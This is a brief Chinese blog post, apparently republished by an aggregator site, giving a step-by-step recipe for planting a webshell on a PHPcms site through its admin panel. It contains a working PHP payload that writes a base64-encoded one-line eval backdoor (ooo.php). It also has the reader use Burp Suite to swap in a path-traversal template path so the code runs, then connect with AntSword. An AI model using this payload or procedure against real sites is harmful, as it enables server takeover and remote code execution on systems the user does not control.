登錄界面

后臺網址

www.phpcms.com/admin.php

進入主頁面

代碼注入拿webshell

接下來 我直接就上圖了

寫入一句話木馬

<?php file_put_contents('ooo.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2FhXSk7Pz4=')); ?>

查看專題

繼續添加第二個專題

利用burpsuit攔截將代碼寫入，意思是將專題dayu2-擴展設置-專題首頁里的index寫入代碼調用專題ooo1中的一句話生成一句話文件

抓包將index除替換：…/…/…/…/html/special/ooo1/index

查看專題 創建成功

利用蟻劍連接一句話 即可

總結

以上是生活随笔為你收集整理的PHPcms框架的Webshell的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。